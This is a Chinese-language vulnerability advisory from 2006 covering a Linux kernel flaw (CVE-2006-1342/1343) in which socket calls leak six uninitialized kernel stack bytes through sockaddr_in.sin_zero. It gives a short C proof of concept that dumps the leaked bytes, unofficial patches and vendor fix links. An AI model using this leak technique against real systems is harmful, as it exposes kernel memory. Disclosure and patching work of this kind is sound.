安全研究

安全漏洞
Linux Kernel Ssockaddr_In.Sin_Zero Kernel内存泄露漏洞

发布日期:2006-03-23
更新日期:2006-11-14

受影响系统:
Linux kernel 2.6
Linux kernel 2.4
VMWare ESX Server 2.5.4
VMWare ESX Server 2.5.3
VMWare ESX Server 2.1.3
VMWare ESX Server 2.0.2
描述:
BUGTRAQ  ID: 17203
CVE(CAN) ID: CVE-2006-1342,CVE-2006-1343

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel在执行某些套接字函数时存在漏洞,可能导致泄露内核内存的某些数据。

Linux Kernel在调用某些套接字函数检索指定的套接字时,没有清零sockaddr_in.sin_zero数组便返回给用户空间程序。攻击者可以以SO_ORIGINAL_DST"选项调用getsockopt()函数,或调用getsockname()、getpeername和accept()函数,泄漏Kernel栈中6个未初始化的字节。

注意:getsockname()、getpeername()和accept()函数中的漏洞仅影响2.4 kernel。

<*来源:Pavel Kankovsky (peak@argo.troja.mff.cuni.cz
  
  链接:http://marc.theaimsgroup.com/?l=linux-netdev&m=114148078223594&w=2
        http://secunia.com/advisories/22875/
        http://lwn.net/Alerts/191267/?format=printable
        http://lwn.net/Alerts/191268/?format=printable
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <linux/netfilter_ipv4.h>

void
dump(const unsigned char *p, unsigned l)
{
  printf("data:");
  while (l > 0) {
    printf(" %02x", *p);
    ++p; --l;
  }
  printf("\n");
}

int
main(int argc, char **argv)
{
  int port;
  int ls, as, r, one;
  struct sockaddr_in sa;
  socklen_t sl;

  if (argc != 2 || (port = atoi(argv[1])) == 0) {
    fprintf(stderr, "usage: bug PORT\n");
    return (1);
  }

  ls = socket(PF_INET, SOCK_STREAM, 0);
  if (ls == -1) {
    perror("ls = socket");
    return (1);
  }
  one = 1;
  r = setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  if (r == -1) {
    perror("setsockopt(ls)");
    return (1);
  }
  sa.sin_family = PF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(port);
  r = bind(ls, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1) {
    perror("bind(ls)");
    return (1);
  }
  r = listen(ls, 1);
  if (r == -1) {
    perror("listen(ls)");
    return (1);
  }

  sl = sizeof(sa);
  as = accept(ls, (struct sockaddr *) &sa, &sl);
  if (as == -1) {
    perror("accept(ls)");
    return (1);
  }
  dump((unsigned char *) &sa, sizeof(sa));

  sl = sizeof(sa);
  r = getsockname(as, (struct sockaddr *) &sa, &sl);
  if (r == -1) {
    perror("getsockname(as)");
    return (1);
  }
  dump((unsigned char *) &sa, sizeof(sa));

  sl = sizeof(sa);
  r = getsockopt(as, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *) &sa, &sl);
  if (r == -1) {
    perror("getsockname(as)");
    return (1);
  }
  dump((unsigned char *) &sa, sizeof(sa));

  return (0);
}

建议:
厂商补丁:

Linux
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kernel.org/

以下为2.4版本的非官方补丁:

--- linux/net/ipv4/af_inet.c.sockname    Thu Feb 16 16:03:57 2006
+++ linux/net/ipv4/af_inet.c    Thu Feb 16 16:25:02 2006
@@ -724,6 +724,7 @@
        sin->sin_port = sk->sport;
        sin->sin_addr.s_addr = addr;
    }
+    memset(sin->sin_zero, 0, sizeof(sin->sin_zero));
    *uaddr_len = sizeof(*sin);
    return(0);
}
--- linux/net/ipv4/netfilter/ip_conntrack_core.c.sockname    Thu Feb 16 16:03:58 2006
+++ linux/net/ipv4/netfilter/ip_conntrack_core.c    Thu Feb 16 16:26:13 2006
@@ -1341,6 +1341,7 @@
            .tuple.dst.u.tcp.port;
        sin.sin_addr.s_addr = h->ctrack->tuplehash[IP_CT_DIR_ORIGINAL]
            .tuple.dst.ip;
+        memset(sin.sin_zero, 0, sizeof(sin.sin_zero));

        DEBUGP("SO_ORIGINAL_DST: %u.%u.%u.%u %u\n",
               NIPQUAD(sin.sin_addr.s_addr), ntohs(sin.sin_port));

RedHat
------
RedHat已经为此发布了安全公告(RHSA-2006:0579-01,RHSA-2006:0580-01)以及相应补丁:
RHSA-2006:0579-01:Important: kernel security update
链接:http://lwn.net/Alerts/191267/?format=printable

RHSA-2006:0580-01:Moderate: kernel security update
链接:http://lwn.net/Alerts/191268/?format=printable

VMWare
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.vmware.com/download/esx/esx-253-200610-patch.html
http://www.vmware.com/download/esx/esx-254-200610-patch.html
http://www.vmware.com/download/esx/esx-213-200610-patch.html
http://www.vmware.com/download/esx/esx-202-200610-patch.html

浏览次数:3683
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障